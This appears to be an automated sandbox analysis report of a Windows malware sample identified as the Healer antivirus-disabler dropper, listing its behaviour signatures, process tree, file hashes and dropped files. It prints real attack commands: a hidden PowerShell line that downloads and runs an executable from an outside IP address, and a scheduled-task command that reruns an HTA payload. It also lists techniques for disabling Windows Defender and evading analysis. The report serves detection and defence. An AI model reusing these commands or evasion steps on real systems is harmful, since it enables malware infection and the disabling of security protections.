Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    26/02/2025, 23:27

General

  • Target

    quarantine/random.exe

  • Size

    938KB

  • MD5

    c558d98f9db4189dd16f53be21cda0a5

  • SHA1

    877d90ade73ff75ede6e7aa8ac5dd18d754fa693

  • SHA256

    abee781314dab00f92f104f009701a129ceb06e0f4071b85323db474c2b3952d

  • SHA512

    7127d65ad9ca2149f8bf0e9de8fcbb90e567509f5c7787f3b6f05c69c4bd9db2fea64c4d2b27eadb53c8bae7d8efb9a20b014c9b2b7870f80f53f589b5289a83

  • SSDEEP

    24576:zqDEvCTbMWu7rQYlBQcBiT6rprG8aebl:zTvC/MTQYxsWR7aeb

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://185.215.113.16/defend/random.exe

Signatures

  • Detects Healer an antivirus disabler dropper 3 IoCs
  • Healer

    Healer an antivirus disabler dropper.

  • Healer family
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 6 IoCs
  • Modifies Windows Defender TamperProtection settings 3 TTPs 1 IoCs
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 1 IoCs
  • Identifies Wine through registry keys 2 TTPs 1 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

  • Loads dropped DLL 2 IoCs
  • Windows security modification 2 TTPs 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 3 IoCs
  • Suspicious use of SendNotifyMessage 3 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\quarantine\random.exe
    "C:\Users\Admin\AppData\Local\Temp\quarantine\random.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SendNotifyMessage
    • Suspicious use of WriteProcessMemory
    PID:2676
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c schtasks /create /tn mxT1RmaX9Cr /tr "mshta C:\Users\Admin\AppData\Local\Temp\9T4YEFyEF.hta" /sc minute /mo 25 /ru "Admin" /f
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:1232
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /create /tn mxT1RmaX9Cr /tr "mshta C:\Users\Admin\AppData\Local\Temp\9T4YEFyEF.hta" /sc minute /mo 25 /ru "Admin" /f
        3⤵
        • System Location Discovery: System Language Discovery
        • Scheduled Task/Job: Scheduled Task
        PID:2692
    • C:\Windows\SysWOW64\mshta.exe
      mshta C:\Users\Admin\AppData\Local\Temp\9T4YEFyEF.hta
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      • Suspicious use of WriteProcessMemory
      PID:2724
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'J4KUQPVMCNBOPWMONJ1R2CJSPSVLQKAI.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/defend/random.exe',$d);Start-Process $d;
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Downloads MZ/PE file
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2804
        • C:\Users\Admin\AppData\Local\TempJ4KUQPVMCNBOPWMONJ1R2CJSPSVLQKAI.EXE
          "C:\Users\Admin\AppData\Local\TempJ4KUQPVMCNBOPWMONJ1R2CJSPSVLQKAI.EXE"
          4⤵
          • Modifies Windows Defender DisableAntiSpyware settings
          • Modifies Windows Defender Real-time Protection settings
          • Modifies Windows Defender TamperProtection settings
          • Modifies Windows Defender notification settings
          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
          • Checks BIOS information in registry
          • Executes dropped EXE
          • Identifies Wine through registry keys
          • Windows security modification
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1608

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\9T4YEFyEF.hta

    Filesize

    726B

    MD5

    f0c99a072b3a41e0b07a63772514614a

    SHA1

    4149662f98408f25a9726b53bdd16325449f6316

    SHA256

    e7cf79e512a9b32c95a626735b09937a6456c1550f0ad39498487543c91116dd

    SHA512

    6b0efa113e09f10db718b7f3570920e551bb2c7442e239c00ebf29e601a4abe89ead41860467d823a0b0d0c998c8aacfc6e3a8af994a98d6c0375d77d05128c3

  • \Users\Admin\AppData\Local\TempJ4KUQPVMCNBOPWMONJ1R2CJSPSVLQKAI.EXE

    Filesize

    1.7MB

    MD5

    03a574d64f0e62c5e117a5f5acf137e4

    SHA1

    93ba2b5bdac91342c9eeaeaf3e44cc1793ee6d90

    SHA256

    dcc540b3c86a167bb0cf71e8d4598f7566fe0f625d64ffe7a37f0d5f502be747

    SHA512

    d1b76d82c522ccb157dcd5155011619b36baf3516cf08cb6bc98fb9bc009230e5c53d77f5d8adc0e85dde678b4b3542823919ee6490533df8250078caca1b9b1

  • memory/1608-15-0x0000000000B10000-0x0000000000F62000-memory.dmp

    Filesize

    4.3MB

  • memory/1608-16-0x0000000000B10000-0x0000000000F62000-memory.dmp

    Filesize

    4.3MB

  • memory/1608-17-0x0000000000B10000-0x0000000000F62000-memory.dmp

    Filesize

    4.3MB

  • memory/1608-20-0x0000000000B10000-0x0000000000F62000-memory.dmp

    Filesize

    4.3MB

  • memory/2804-8-0x0000000006580000-0x00000000069D2000-memory.dmp

    Filesize

    4.3MB

  • memory/2804-13-0x0000000006580000-0x00000000069D2000-memory.dmp

    Filesize

    4.3MB